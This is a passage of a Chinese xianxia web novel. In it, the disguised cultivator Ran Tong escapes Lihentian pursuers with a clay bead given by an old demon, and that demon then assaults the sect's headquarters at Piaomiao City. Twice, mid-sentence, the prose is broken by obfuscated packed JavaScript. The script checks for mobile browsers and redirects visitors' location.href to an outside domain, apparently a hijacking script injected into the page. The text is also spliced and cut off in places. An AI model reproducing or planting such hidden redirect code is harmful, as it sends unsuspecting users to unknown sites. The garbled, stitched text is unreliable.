他指名道姓辱骂道祖已令冉彤吃惊,这番匪夷所思的说辞更颠覆常人认知。 她联想血溪上游那些干尸和破损的法阵,脑补出部分案情。 原来那些修士被这长老祭阵了,人族修士的确没能力创立这类邪功,莫非真是道祖授意? 他老人家是人界的守护神啊,怎么可能? 灰衣长老很有气节,垂死怒骂:“你只敢仗着道祖闭关时横行,有种去缥缈城啊!” 缥缈城位于西大陆中北部的中州,是离恨天的总坛所在。 老魔冷笑:“谢你提醒,本座料理完这里,自会去缥缈城找故人们叙旧。” 灰衣长老知道这魔头说得出也做得出,今日未达使命,与其丧于贼手,不如舍身补过,毅然施法自爆。 气浪裹着砂石掀起潮头,淹没整座山谷。 一群大雁恰好飞越上空,被卷入烟尘。 冉彤身后的石山崩塌了,碎石埋住她大半个身子。她像待炸的糖糕,敷了厚厚一层灰,还希望多来点石块把她再埋深一些。 爆炸时她本能地动用灵力防护,八成已被老魔头发现了。 清风吹过,烟云消散,老魔毫发未损,甚至没沾到一丁点尘埃。 他抬起右手,那群遭殃的大雁扑簌簌自他袖口飞出,懵然振翅返回青天。 排头一只升空后折返回来,围绕老魔盘旋啼鸣,似在答谢他的救护之恩。 老魔冲它点头微笑,而后挥手送别。 雁字东归,青龙沟恢复宁静,老魔眼中柔情逝去,转向冉彤藏身处,严声斥令:“看够了吗?还不出来。” 冉彤像钟楼上的麻雀,差点吓破胆,木愣数息,老魔加重威胁:“再不出来休怪老夫下杀手。” 冉彤最大的优点是任何时候都能做出明智抉择,思忖:这老鬼认出我了吗?若没认出就还有救。 她爬出乱石堆,颤巍巍走进老魔视野,怎么都鼓不起勇气与之对视。周身一凉,老魔已隔空清除掉她满身灰土,细细辨认,见她不像离恨天的爪牙,森然质问:“你是什么人?来此作甚?” 这一年冉彤将换皮术修炼纯熟,气息、声音都与那女修士一式一样,眼见开了个好头,更努力蒙混过关,小声说:“小女子是散修,在此隐居修行,方才听到动静过来查看,顺着那边的血迹看到、看到很多死人……正慌张逃离,又撞见那灰衣人,只好藏在这里……” 她吐字吭吭哧哧,并非刻意伪装,真真怕极了,见老魔缓步靠近,心跳都快从胸腔里蹦出来,后退两步绊倒,为活命急忙往狼狈中添加演技。 “别杀我!我真是散修!修为很低,杀我您还白费功夫!” 她抱头哭喊求饶,估计这把戏多余,魔头都凶残冷酷,岂会怜惜弱小? 老魔停步打量她一番,淡然道:“你住在哪儿?带老夫去瞧瞧。” 声调居然很和气。 冉彤知道怀里的“映真镜”立了大功,这魔头法力不如万象圣尊,没看破她的真面目。 16.赠宝 多话定会惹嫌疑,她老实听命,爬起来向魔头哈了哈腰:“寒舍就在山沟下游,请前辈随我来。” 她老实带路,飞了一顿饭的功夫回到住地,推开门请客人入内。 老魔听说她独自居住,站在屋外用神识检查室内。 冉彤以为他提防有陷阱,假装坦然道:“寒舍虽陋,尚有桌椅板凳,请前辈入内稍坐,待小女子奉茶伺候。” 老魔瞟她一眼,不冷不热说:“独居女子更该谨慎,,莫要随便邀外人进屋。” 他没发现异常,觉得这小姑娘缺少防范意识,顺口提醒。 冉彤只把人往坏处想,吃不准他的用意,窘迫道:“那小女子把椅子搬出来,您在外面坐。” 她迈出一步,脚底没踩踏实便被对方的声音定住。 老魔继续盘问:“此地灵气稀薄,你为何选在这里修行?” 冉彤洞洞属属答话:“晚辈想着重修炼心性,特意寻到这苦寒之地隐居,并没打算长住。” “你在这儿多久了?” “快一年了。” “可曾有异像出现?” “没有。” 冉彤听多了老魔说话,感觉他谈吐文雅,语气温和,俨然气度超然的长者,与古城遗迹时判若两人,倒像紫烟散人笔下的长嬴法师再现,不由得惊疑。 他前后态度差这么多,肯定在演戏。难道看我这张脸长得漂亮,想虚情引诱? 很多魔道男修都有猎捕女修做炉鼎的恶习,倘若后者容貌美丽,还会被当做玩物折磨到生不如死。 冉彤不断自我暗示,越发倾向这一推测,深悔当初选了这么好看的皮囊,紧张偷瞄老魔察言观色。 极度的厌恶惧怕下她仍不能否认这魔头的美貌。 尽管让男人和女人比美很荒唐,可单论美色带给人的冲击,老魔比她冒充的女修士强得多,不用邪术迷惑,仅凭外表就能诱拐众多无知女子。 她还注意到,魔头的眼瞳变成了罕见的深蓝色,色系相同,却和云宿雨的瞳色大相径庭。表哥的眼眸是静谧平湖,他眼里则装着晴朗的夜空,散发出令人深陷其中的魅力。 进而发现他的下眼眶浸着一圈浅浅的红晕,原来强大如他也摆脱不了鬼道特征。这两抹嫣红的煞气放到其他人脸上可能邪魅妖娆,在他这里只显得明艳动人。 好奇怪,明明是个坏蛋,气质却这么庄重典雅,可真会装啊。 与老魔对视的瞬间,冉彤没来由的害羞,怀疑对方施展魅惑术,吓得面红耳赤。 老魔先挪开视线,正色道:“此地已不安全,你快走吧。最好别在山野停留,到大城镇去居住。路上注意避开离恨天的人,若遭他们拦截盘问,切忌透露今日之事,否则性命难保。” 冉彤认为他怕暴露行踪才这么恐吓她。 不料老魔顺手勾起脚边一撮泥沙,用灵力搓成一颗弹珠大的泥丸递给她。 “要是离恨天的人袭击你,可用这个防身。” 冉彤群疑满腹,不敢接,又不得不接,硬着头皮收下泥丸,没来得及道谢,老魔已化作紫光飞逝。 她赶紧撒手丢下泥丸躲出几十丈,用神识反复检查,再观察良久,没见着动静,方才蹑手蹑脚靠近,万般狐疑地注视泥丸。 量那魔头没安好心,这玩意儿定有蹊跷。 转念又想:他杀我都不用动手指,何必绕弯子送我法宝?是了,还是看上我,不,看上这女修前辈的姿色,伪装好人给我下套。 不管哪种假设,这泥丸都要不得。 她转身回房收拾东西,出门推倒石屋,销毁一切与自身有关的痕迹。 有时谨慎抵不过运气,屋子倒塌,扬尘尚未落定,十几道遁光飞射降落,将她团团围住。 冉彤看到来人胸前的菱形图案,脑仁顿时炸开锅。 这些离恨天的修士定是老魔头引来的,可别连累她呀。 人群中修为最高的是一名极境初期,青年模样的男修,他出列质问冉彤:“尔是何人?在此作甚?” 相同的审问,刚才老魔的态度比他客气多了。 冉彤重回危险处境,惴惴重复之前的回答:“小女子是散修,在此隐居修行多时,正准备离开。” 男修已进行过神识探查,加紧追问:“你今日可曾见过可疑之人?” 冉彤忙摇头:“这青龙沟终年无人,小女子近一年多来就只见过诸位这些大活人。” “那你方才可曾听到过奇怪的动静?” “小女子每天早上都会打坐入定三个时辰,期间神识与外界隔绝,什么都不知道。” 男修与同伴们互换眼色,并未打消对她的怀疑,严刻下令:“我们正搜捕要犯,按规定必须检查你的随身物品,快把储物袋交出来。” 冉彤一犹豫,立刻被他们划定成嫌疑人,男修猝然施法夺走她的储物袋,命人抓住她。 冉彤一只脚踏入深渊,坠亡前开动全部智慧搜索求生途径,快速游移的目光落向地面,恰好看到被她丢弃的泥丸。 她没得选,俯身捡起来掷向那极境男修。 老魔没交代使用方法,他们魔道的法宝惯走野路子,也许和摄魂珠一样扔出去就完事。 男修遇袭,做法反击。 泥丸接触到他的灵力后轰然炸裂,涌出海量沙土,霎时掩埋了宽广的河滩。 众人跳跃躲闪,泥沙竟像活的,伸出无数粗壮的触手抓捕他们,来势迅猛,力道强劲,连那极境男修也未逃脱,唯独冉彤没受攻击,安然飞到半空。 她惊骇下望,泥沙还在暴增,那小泥丸犹如连接沙漠的通道,黄澄澄的沙土取之不竭,流之不尽,这片刻功夫已在山谷间堆出一片沙海。 修士们挣扎无效,逐一遭触手压扁,揉碎,分尸。 极境男修撑到最后,被十几条小触手融合成的巨爪紧紧捏住,他自知无望生还,仰头怒斥冉彤:“妖女,你是那魔头的手下!” 喷射的鲜血堵住他的喉咙,稍后双目崩出眼眶。 冉彤目睹众修士被汹涌的沙土碾成肉酱,恐惧化作冷汗,源源不断渗透每个毛孔。 她在这儿住了一年,家门口的沙土是再平常不过的凡物,那老魔头随手拈一撮就炼制出极境修士也难抵御的法宝,还有什么是他办不到的? 他到底是谁啊?这么厉害,历史典籍里应该有记载的。 沙土毁尸灭迹后迅速缩减,倏忽变回最初的小泥丸,咕噜噜坠地卡在石缝间。 冉彤先捡回自己的储物袋,盯着小泥丸咬了咬牙,上前拾起来揣进袋子里。 修士们的储物袋散落各处,她修为不够,都打不开,寻思这些东西留有主人的气息,带在身上会惹祸,便挖了个坑集中掩埋。 这地方真不能呆了,她低空飞行向北逃窜,躲躲藏藏跑了十天,万幸没再遇到离恨天的人,这日下午抵达一座城市,打算在这里中转休整。 入城时她在城门口看到离恨天的通缉令,一堆逃犯画像上分别写着“甲、乙、丙、丁”四种红字,代表由高至低的危险等级。 看到自己稚嫩面容旁标注的“丁”字,冉彤沉寂多时的怨愤屈辱即刻鲜明如初,并转化为破罐子破摔的决心。 有朝一日我会让这个丁字变成甲字,你们都等着瞧吧! 她浏览其余逃犯,意外地没找到老魔头。 他该是这通缉令上排行第一的危险人物才对,看来离恨天怕造成恐慌,对外封锁了消息。 暂时脱离险境,她有闲心分析那天老魔的行为了。 他的警告全应验了,没有吓唬人。若非他赠送的泥丸,我便死定了,如此说来他真在好心救护无辜者。 呸,魔头哪儿来的好心,不过想利用我消灭离恨天的追兵, 她但愿别再碰见他,好运不会常相伴,下次狭路相逢兴许难逃毒手。 城里有家大客栈,鱼龙混杂适合藏身。 她歇息一天,第三日早起去专为修士服务的集市购买补给品。 在一家丹药铺挑选货物时,一位老顾客来找掌柜提货。 掌柜热情相迎,致歉道:“最近中州那边出了大乱子,商路全断了,还得请您多等一阵子。” 他们去里间谈话,冉彤好奇地用神识窃听。 那掌柜神神秘秘又兴兴头头地讲述:“七天前不知是哪个大魔头袭击了缥缈城,几乎把下城的离恨天总坛翻个底朝天,打死打伤无数人。首座太上长老亲自出马才吓跑他,之后整个中州都戒严了,不过离恨天严密封锁消息,很多人都不知道是怎么回事。” 他说为他供货的是一位离恨天瑶光殿长老,前日飞剑传书告知他内情。大搜捕将很快蔓延到十州,定会对人们的日常生活造成影响。 顾客将信将疑:“这消息确切吗?离恨天和七曜城议和多年,万象圣尊不出手,还有哪个魔道人士敢跟离恨天叫板?况且缥缈城内高手如云,七殿长老个个是宗师级人物,那魔头带了多少人马才有这阵势?” 掌柜更兴奋:“您正好问到点子上了,这事奇就奇在那魔头没带一兵一卒,单枪匹马横扫总坛,如入无人之境啊。” 顾客哂笑:“这也太夸大其词了,除非极恶魔星复活,否则我想不出世间还有此等狂魔。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14335562|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不光他,换做其他人也不会相信这一流言。 冉彤则不然,她想起那日蓝衣老魔在青龙沟杀害天枢殿长老时曾放话要去缥缈城挑衅,看来他是真的言出必行呀。 她预料离恨天会加紧对各州的监察,往后行动更要小心。 大隐于市,那老魔头这点没说错,我应该去大城市藏身,混在人群里才不易暴露。 掌柜还在向顾客吹嘘瑶光殿长老透露的,那日魔头大闹缥缈城的惨烈场面。 顾客当做故事听,永远想不到掌柜的如簧巧舌还不足以描述当时的真实情形。 那日天气晴好,缥缈城下城一如既往和谐繁荣。凡人和修真者们各行其是,为生计修行操劳忙碌着。 城中心的离恨天总坛正殿上,七殿主事长老正代替道祖向新入门的修士们宣讲戒律。 数千名新门人跪在广场上,满怀崇敬地仰望悬浮在高空中的上城。 那里是道祖的居所,东西大陆最神圣的象征,只有离恨天地位最高的太上长老们才有资格出入。 道祖每隔八百年就会进行十至二十年不等的闭关,每次都会召集数名太上长老护法。 离恨天的历代太上长老平均寿命都在两三千岁,他们拥有近乎仙人的高强法力,一般不再参与宗门的管理,不喜与人接触,有的直到门内宣布他们羽化的消息都不会露面。 离恨天目前在位的太上长□□计三十一人,九位正随道祖闭关,另外二十二位隐居十州,神龙见首不见尾,已经几百年没传出他们的事迹了。 新修士们都希望能像某些前辈那样幸运,偶遇一位太上长老传道授业,走上一步登天的捷径。 可今日大殿台阶上只站着身穿黑色、灰色斗篷的长老,未瞧见穿纯白斗篷的,表明没有一位太上长老到场。 离恨天每隔五年就会招收一批新人,物多则贱,这些各大门派选拔出的精英到了离恨天只算小杂毛,很难麻雀变凤凰。 仪式接近尾声,现场突然狂风怒号,只见阴云密布,黑雾迷空,隔绝上下城,将总坛遮得严严实实。 人们意识到妖魔来袭,负责警备的天玑殿主事李景华传令各殿鸣钟示警。 钟声响起,大地发出轰鸣,地面摇晃,似浪里行船,半空降下一股超强的灵力威压,力道胜似千座大山。 一些禁制不够坚固的建筑物开裂倾塌,蟒蛇粗细的裂纹快速爬遍广场上金刚玉铺就的地面,拱翻台阶,折断栏杆。 修为稍低的人纷纷跪跌扑倒。长老们不敢怠慢,集体释放灵力抵御侵害,开阳殿主事林青厉声喝问:“来者何人!还不现身!” 他和道友们已猜到对方是谁,心里好似十五只吊桶打水,七上八下。 正殿上方的云层中涌出艳丽的紫气,托着蓝衣老魔徐徐下降。 在场千岁以下者都不认得这位衣带当风,丰姿堂堂的美少年,以为是敌人派来打前阵的,几个性急莽撞的抢先迎战,呼叱叫喊着向他抛射看家法宝。 老魔大袖一挥,一一轻松收去,嗤笑:“废铜烂铁也敢拿出来献丑。” 反手回掷,法宝都成了叛徒,以成倍的威力袭击主人,血溅当场,无一生还。 伤亡虽小却已严重打击众人士气,特别是新修士们,都从魔头轻描淡写的招数里感受到深不见底的实力,明白自己压根不配做他的对手。 人们噤若寒蝉,用神识进行着嘈杂惶急的交流。 “此人是谁啊?” “不知道,没见过。” “我看不透他的修为,说明他的境界还在主事长老们之上。” 有人直接询问各长老,乱哄哄的识海陡然被林青的怒啸贯穿。 “尔等自乱阵脚成何体统,都给老夫安静!” 老魔饶有兴趣地看戏,朝着林青等主事长老挖苦。 “林青、李景华、向东来,张再思,你们几个小毛头熬了一千年也披上这身黑布了,你们的师父呢?快叫他们出来迎客。” 李景华等人脑海里不禁闪现千年前随同师长抗击老魔的景象,淡退的恐惧感死灰复燃。 林青最沉稳,不卑不亢回应:“家师和几位师叔伯皆已仙逝,你见不到他们了。” 老魔笑讽:“他们处心积虑害本座,到头来个个比本座短命啊。” 向东来怒啐:“你这逆天行事的老怪物,道祖若知你来此,定叫你魂飞魄散!” 魔头笑意阴冷,灵压中杀气勃勃。 “他真有那本事,千年前就该动手了。本座今日就是来知会他的,当年他加诸在本座身上的种种恶行,本座势必一一奉还。” 17.下马威 紫气如汪洋倒灌,浪涛中涌现成群披坚执锐的金甲战士,狼奔虎突杀向人群。众修士英勇应战,霎时间漫天杀气,遍地征云。 这些金甲战士威猛骁勇,能和化境修士斗得旗鼓相当,再弱一些的人交手时便觉吃力。 掌管傀儡的玉衡殿主事张再思急忙放出一万铁甲力士助阵,管灵兽的天权殿主事召来一千头毒牙利爪的火眼金睛兽围攻老魔。 老魔神识幻化出一只遮天巨掌,四面八方一顿乱扇,一千灵兽或死或伤,落下几百具尸体,其余的仓皇逃散。 天权殿主事灵力耗尽,险被魔头巨掌拍中,向东来赶来将其护至身后。 “老魔,吃我一招!” 向东来掀起数百道摧城拔寨的风刃,上下重叠着一波波飞向高空中的魔头。 伴随着阵阵熊咆龙吟般的巨响,厚厚的云层被劈开数条缝隙,万道光束似帐幔垂照老魔,光线下的他连头发丝都纹丝不动。 “你这点微风只配用来消暑纳凉。” 魔头嘲笑着用风系法术还手。 向东来的风像快刀,他刮出的风犹如巨人挥出的铁拳,搅海翻江,排山搬岳。风力所及吹散建筑,铲飞地皮,刮得众多臻境修士魂魄出窍。 林青及时救回一些人,灼急警告:“这魔头的妖风厉害,大家谨守元神,莫要着了他的道!” 他匆忙取出一只小香炉,念动咒语抛向空中。 香炉里喷出一条粉红色的大火龙,是专克鬼修的琉璃净火。 魔头被这净火折磨了一千年,见之怒气上脸,瞪大凤眼詈斥林青:“你是不是嫌自己死得不够快?先让本座来教教你怎么玩火!” 紫气霎时幻化成腾跃舒卷的火舌,一口吞没琉璃净火,直扑地面。 “不好,是紫霄魔焰!快结阵!” 林青招呼向东来、张再思和天枢殿主事连同几十名黑衣长老携手布下法阵抵御紫火。 来不及撤入法阵的修士立时化灰,部分人入阵时身上沾了几点火星,转眼窜起火苗,越烧越猛,怎么都扑不灭。 前来营救的人也遭连累,十几个火人无助地嚎叫奔走,旁人惊忙闪躲。 李景华过来施法杀死火人,向人们解释:“这紫霄魔焰无法扑灭,若再有人沾上,你们就学老夫帮他们解脱。” 他取出本命法宝“金舞鸾”,这是一把由鵸鵌骨雕刻成的琵琶。 两千年前他的师父玉泉子猎杀凶兽鵸鵌族的族长,以其骨炼器,将其精魂收做器灵,靠琴曲操控驱使。 鵸鵌三头六翅,翎羽如甲,能乱心智,困行动,食元神。 当年玉泉子靠这“金舞鸾”杀敌无数,名噪一时,物化前传与大弟子李景华,照样是后者的决胜利器。 李景华奏响琵琶,释放器灵。 金羽红冠的鵸鵌现身,体型之大,一座宫殿不够做它的窝巢。 鵸鵌尖声啼叫着飞向魔头,伸出三只铁钩似的长喙朝着他来回乱啄。 老魔不躲不避,尖喙利爪全被紫光阻挡,难以靠近。 他试出敌人深浅,放出一道巨龙般的紫气缠住鵸鵌。 鵸鵌扑腾挣扎,李景华急忙加紧运功协助,十指翻飞,百脉沸腾,拼得大汗如雨。 另一道风驰电掣的紫气冷不丁袭来缠住琵琶,他抢不过,法宝脱手,连带鵸鵌都被老魔收去,落了个一败涂地。 他羞愤交加,当场吐血不止,推开前来搀扶的弟子,指着得意把玩琵琶的老魔怒骂:“老贼欺人太甚,今不杀汝,我誓不为人!” 谁都看出他只是意气用事,老魔甚至没还嘴,明显不屑一顾。 新人和资历浅薄的修士恶战数回,皆因老魔神鬼难测的惊人法力意夺神骇,自觉殊死搏斗也充其量做炮灰,很多人萌生退意,不愿做无意义地牺牲。 老魔朗声诘问奋力抵抗紫火的林青:“林小子,离恨天这些年不断收新人,都是用来做祭品吗?” 他以神识传音,音量不高,但所有人都听得一清二楚。 林青嘶声驳斥:“魔头,休得妖言惑众!” 老魔笑道:“前日你的手下用‘百子灭魂阵’偷袭本座未果,你回头是不是得弄个‘千人阵’、‘万人阵’来对付本座啊?可怜这些后生被你们诓进火坑,还以为攀上高枝。也罢,本座今日便做做好事,给他们指条明路吧。” 修士们正惊懵无措,紫光遽然增强数倍。 新人们神识失灵了一霎,待知觉恢复,体表浮现出若干个“禁”字,同时百骸剧痛,筋脉欲折,万蚁钻心,无法聚集灵力使用法术,已形同废人。 “尔等中了本座的禁咒,即刻脱离离恨天,永远不再踏足缥缈城,咒力自会解除。如若不然,便终生受此酷刑。” 老魔的可怕已深入人心,识时务者为俊杰,受到胁迫,多数人选择屈服,哭爹喊娘,相互拖拽搀扶着逃离总坛。 离恨天怎堪受这奇耻大辱,长老和资深弟子们严厉阻拦,甚至动用武力。 可新人们仍然不要命地往外逃,老魔随手击杀拦路者,畅快笑声似长鞭驱赶逃命人群,抽痛了每一个离恨天修士的脊梁骨。 一批逃到总坛边缘的人突然被灵力反弹回去,有人启动了护宗大阵,屏蔽外来的攻击,也困住了落后的逃亡者。 林青等长老总算有了喘息之机,顶着疲惫向老魔叫板。 “老东西,我知道你最多只恢复了三成法力,休想攻破这护宗大阵。我等已向太上长老们报信,你真有贼胆就在这儿等着!” 一名弟子从旁提醒:“师祖,这魔头进不来,恐去城中屠戮凡人……” 立刻被林青低吼着骂闭嘴。 其余人大多赞同长老们的做法,两害相权取其轻,总坛才是缥缈城的核心,危机时刻只好舍小保大,苦一苦凡人了。 老魔没有离去,俯瞰蝼蚁般躲在阵内的人群,讥刺:“今日太让本座扫兴了,毗沙这一千年就只培养出你们这群废物,果然气数将尽。” 他当众侮辱道祖,惹得群情激奋,李景华不顾仪态大骂:“你那些手下倒是能耐,可惜都成了游魂野鬼!” 老魔被他扎了心窝,眼角眉梢闪过一丝阴狠,取出收缴来的琵琶笑嗤:“你小子,只跟你师父学会撒泼骂街,其他本事一样没继承。当年这‘金舞鸾’在你师父手里时可不像如今这么窝囊。本座来帮你温习一下你师父当初教授的功课吧。” 说罢姿态闲雅地坐上云头,抱琴拨弦。 初始三两声似行云播雨,随后银瓶炸裂,铁骑突出,高亢激昂的音符纵横云霄,召唤出器灵。 那鵸鵌体积比之前增大了十倍,身躯宛如鲲鹏,长翼震动,气浪上抵九重,下达九渊。 老魔娴熟流畅地弹奏杀伐之乐,鵸鵌受奋沫扬涛的乐声蛊惑,厉声嘶鸣着冲向大阵。 “遭了!” 李景华惊声疾呼,这器灵与他神识相连,不受大阵阻挡。 人们眼看这庞然大物穿越屏障,如同遭受猛禽袭击的鸽群轰然大乱。 鵸鵌张嘴狂吸,撕裂上百名修士的元神,尽情饕餮。 林青等长老慌忙做法,以镇妖塔、捆妖绳、猎妖锁等法宝压制鵸鵌。 鵸鵌狂性大发,扑腾反抗中摧毁了上百座楼台殿阁,又有数百人惨遭波及,重伤毙命。 李景华急道:“这器灵受老魔煽动,必须先克制住他的乐声!” 离恨天擅长音律的修士不在少数,闻讯各自取出丝竹笙篁等乐器,倾注灵力配合演奏,试图打乱老魔的节拍。 老魔见状来了兴致,转轴滚弦,节奏加速,乐声仿佛三月冰山消融,雪水顺着绝壁奔涌直下,一路颠波奔突,狂赴争流。 修士们拼命接住这雷霆之音,都深感心有余而力不足。 行家都明白这不止是他们法力不济,音乐造诣也远逊对方,能在无限抛高音阶时保持干净明晰的音色,令旋律转换自如,不混乱不走调,如此高明的琵琶技艺直可通神。 老魔千年未碰乐器,起初还觉手生,稍后渐入佳境。 他素好闲情雅趣,喜奏乐消遣,今日趁制敌之机过瘾,干脆尽兴投入,将满腔积恨注入琴弦。 弹出的乐声恰似孤鹤悲鸣于清池之畔,游隼翱翔于层崖之巅,浩兮汤汤,郁兮峨峨。 一些热衷音乐的修士心神受那精妙绝伦的琵琶曲牵引,不知不觉心生魔障,放弃抵抗,怀着“朝闻道夕死可矣”的狂喜任由鵸鵌扑杀吸食。 奏乐的修士们不久败下阵来,鵸鵌挣脱束缚,集中力量攻击正殿,六翼狂扇,吹倒墙壁立柱,掀飞瓦片房梁。 殿宇分崩离析,只剩纯金打造的道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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无情道绝尘绝欲,修到她这份上已是心如止水,七情尽去。 老魔笑讽:“本座也对雪长老闻名已久,未料到时至今日才得见尊范。” 当年他打遍离恨天各路高手,唯独没见过此人,如今看来她将是毗沙以下最难缠的对手。 雪千重回敬一抹若有似无的笑意:“此前虽未谋面,但我对阁下了解甚深。千年幽闭,阁下行事还这么浮躁,似乎并未吸取教训。” 老魔知她故意挑衅,强忍暴怒训斥:“你说错了,本座这一千年来惩前毖后,痛定思痛,已得出一个结论。不能对你们这帮小人讲道理,心狠手辣就对了!” 他先发制人,向敌方喷射堆积如山的紫焰。 雪千重寸步未移,只靠神识发力,汹汹焰火便被她摄人肝胆的寒气封冻。 老魔追加法术,千万金甲战士现身围攻雪千重,龙腾虎掷,使尽十八般武艺,却无一能够近身,不消片刻全被寒气冻结,碎裂无痕。 老魔马不停蹄发起第三波攻击,集结全部紫气聚集成一颗大如山峦,表情狞恶的人头,巨口怒张猛地将雪千重囫囵吞噬。 修士们惶恐惊叫,叫声未落,那人头中蓦地迸射出数道雪亮寒光,一举击散紫气。 老魔未能躲过对手还击,四肢被冰雪牢牢锁住,冰层沿着他的躯体疾速攀爬,俄顷,他的下巴,头顶都结了冰。 “魔头被制住了!” 众人欢呼雀跃,不少年轻修士因这反败为胜的奇迹喜极而泣。 雪千重仍比他们冷静,她知道自己并没有赢。 “阁下今日是来探虚实的?” 老魔高傲地望着她,一点不像失败者,嘿嘿笑道:“有意思,有意思,离恨天总算还有几个能人,这样本座的复仇便不会太无聊了。” 笑声扬起,寒彻地面众人心扉。 下一刻老魔的躯体被冰刀肢解粉碎,灵力并未消散,载着那笑声围绕总坛飙行盘旋。 “待本座法力恢复,再将你们一网打尽!” 笑声飞逝,人们方知本次入侵的只是老魔的分身,形体破碎后,灵力便被藏匿在远方的本体回收。 他根本没受任何损失。 18.局势纷繁 云开日现,天空晴朗如初。 雪千重按下天梯,来到正殿废墟上方。 林青率领众修士跪迎,惭愧道:“多谢老祖相救,我等学艺不精,有辱宗门,望老祖降罪。” 雪千重说:“那魔头神通广大,只剩三成法力也非常人能够抵敌,汝等不必自咎,速去善后。” 林青忙派人救治伤者,分头安抚城内居民,而后率同七殿主事随侍雪千重。 雪千重见那些中了老魔禁咒的门人哀嚎不断,对林青说:“那魔头的咒术难解,留着这些人亦无用,清除记忆,打发他们还乡吧。” 众人称赞:“老祖宏慈。” 各自松了口气,若教他们拿主意,这事还真棘手。不放人太作孽,放了又损害离恨天声誉,只有这位老祖宗能担此干系。 雪千重与林青等人暌违多年,当日的年轻后生都长成了独当一面的前辈,在她眼里仍是愣头青,吩咐:“九百多年没回来了,你们陪老身四下走走吧。” 她朝废墟挥挥手,那些残垣断壁自动飞起拼合,恢复原状。 接下来她沿总坛内的主路信步缓行,沿途看到破损过于严重的建筑便随手修复。 老魔这场大闹酿成惨重损失,宫室殿阁毁坏过半,更别提人员伤亡了。 李景华最难过,那“金舞鸾”既是师父的遗物,亦是他的本命法宝,一朝失却,面子里子全赔光了。 正暗自恓惶,忽听雪千重招呼他。 “华儿,老身这里有一只鵸鵌精魂,虽比不上你原来那只强壮,但用心蓄养几百年,法力或可追上前者,你拿去修复‘金舞鸾’吧。” 她取出含有鵸鵌精魂的妖丹递给李景华。 李景华受宠若惊,连忙感激涕零收下,越发羞惭道:“弟子蠢笨,给先师丢脸了,日后还望老祖开恩指点,使弟子这根朽木能有成才之日。” 他的修为已达极境中期,实力在离恨天黑衣长老里也数得上号了。可是跟同境界的师父比,直如萤虫与火把,快马加鞭也追不上。 林青等人深有同感,事实上不止离恨天,整个修真界的水平都下滑严重。相同的境界,千年前的修士比如今的不止强一倍。 年轻一代没有参照物还体会不到,他们这些亲眼见证过前辈实力的老家伙感受深刻,且久受疑惑困扰。 今日难得见到雪千重,便求她解惑。 林青先请教:“老祖,弟子们这些年境界虽有所提升,但法力增长缓慢,穷尽脑汁仍找不出症结所在。您能否给瞧瞧,究竟哪里出了问题?” 雪千重轻轻扫他们一眼,她位高权重,睥睨群英,自带七分威慑,举手投足都给人强大的压迫感。 长老们生怕惹她不快,赶紧低头躲避。 世间少有事物能触动雪千重的喜怒哀乐,芸芸众生在她眼里形同蝼蚁,这些弟子也不例外。 她不计较也不在乎他们的行为感受,依然无表情地应对:“天地人都有盛衰周期,你们这一代正赶上人界灵气衰退的阶段,再过一两千年灵气自会由衰转强,熬到那时便好了。” 这说法很新鲜,起码现存典籍中没有记载。 众人不敢质疑她,宁可相信是自家孤陋寡闻。 法力不够便难以延续寿命,如何挺过灵力衰退期?看样子他们今生成就不过如此了。 雪千重悠悠逛了三停地方,来到玉衡殿。她曾在玉衡殿任职数百年,之后每次回总坛都来这儿歇宿。 现任主事张再思知道她的习惯,已提前安排好接待事宜,先请她去议事堂。 到了议事堂,雪千重登上玉阶,在主位的蒲团上盘膝趺坐。 林青等人肃立堂前,等她示下。 雪千重问他:“老身是最后一个收到消息的吧?此前可曾有其他太上长老回来过?” 她是首座太上长老,却是最早退出宗门俗务,避世远遁的。 这九百年唯道祖知悉她的行踪。 前些时候主事们被逼无奈,动用了只在宗门存亡关头才能开启的天象归元图,借星图变化传递讯息,这才联系上她。 另外那二十一个太上长老在门内都有代理人,早得知魔头越狱出逃,却都不管不问,相互推诿。 林青转述他们反馈的各种理由。 “路长老说太上长老结队现身会令外界猜疑,妨害局势稳定,让我们通知小陈长老先回来坐镇指挥。小陈长老说他不擅调度,建议刘长老出面。我等至今未得到刘长老回音。期间大齐长老和马长老曾在庆隆州召见几名亲传弟子,带话说老魔法力未复,不足为患,让我们静观其变。金长老和魏长老也曾分别召见过门人,意见与那二位长老相左。说老魔诡计多端,不能给他喘息之机,让我们多派人加紧追查,等发现魔头的确切行踪后再通知他们……” 他巨细靡遗地陈述半天,借各长老的反应描尽众生相,归根结底一句话:都想隔岸观火。 主事们私下猜测,太上长老们都在老魔手里吃过大亏,明知他越狱时法力衰减仍颇为忌惮,不愿做先挨弹弓的出头鸟。 这不,今日闹了个沸反盈天他们仍置身事外,相信非得等到魔头攻打上城,惊动道祖才肯露面。 雪千重心若明镜,揶揄:“众位师兄弟专注清修,这烫手山芋只能由老身来接了。也罢,我辈出世入世皆是修行,千年前老身不曾出力降服那魔头,今次正好补上。” 问林青:“青儿,你说魔头是被烈阳冉家一个小丫头放跑的。那禁地周围设有多重禁制,方圆数百里终年迷雾不断,一个胜境初期的小孩子如何能进入遗迹?” 林青答道:“弟子们也觉可疑,据调查那丫头曾用魔宝‘摄魂珠’伤人,当今只有少数几个千岁老魔还掌握此宝的炼制方法,弟子们怀疑这些人是幕后主使。” 雪千重很清楚嫌疑人名单上都有谁,说:“那几个贼子早已和魔头断交,按说不该搭救他,你们认为谁最可疑?” 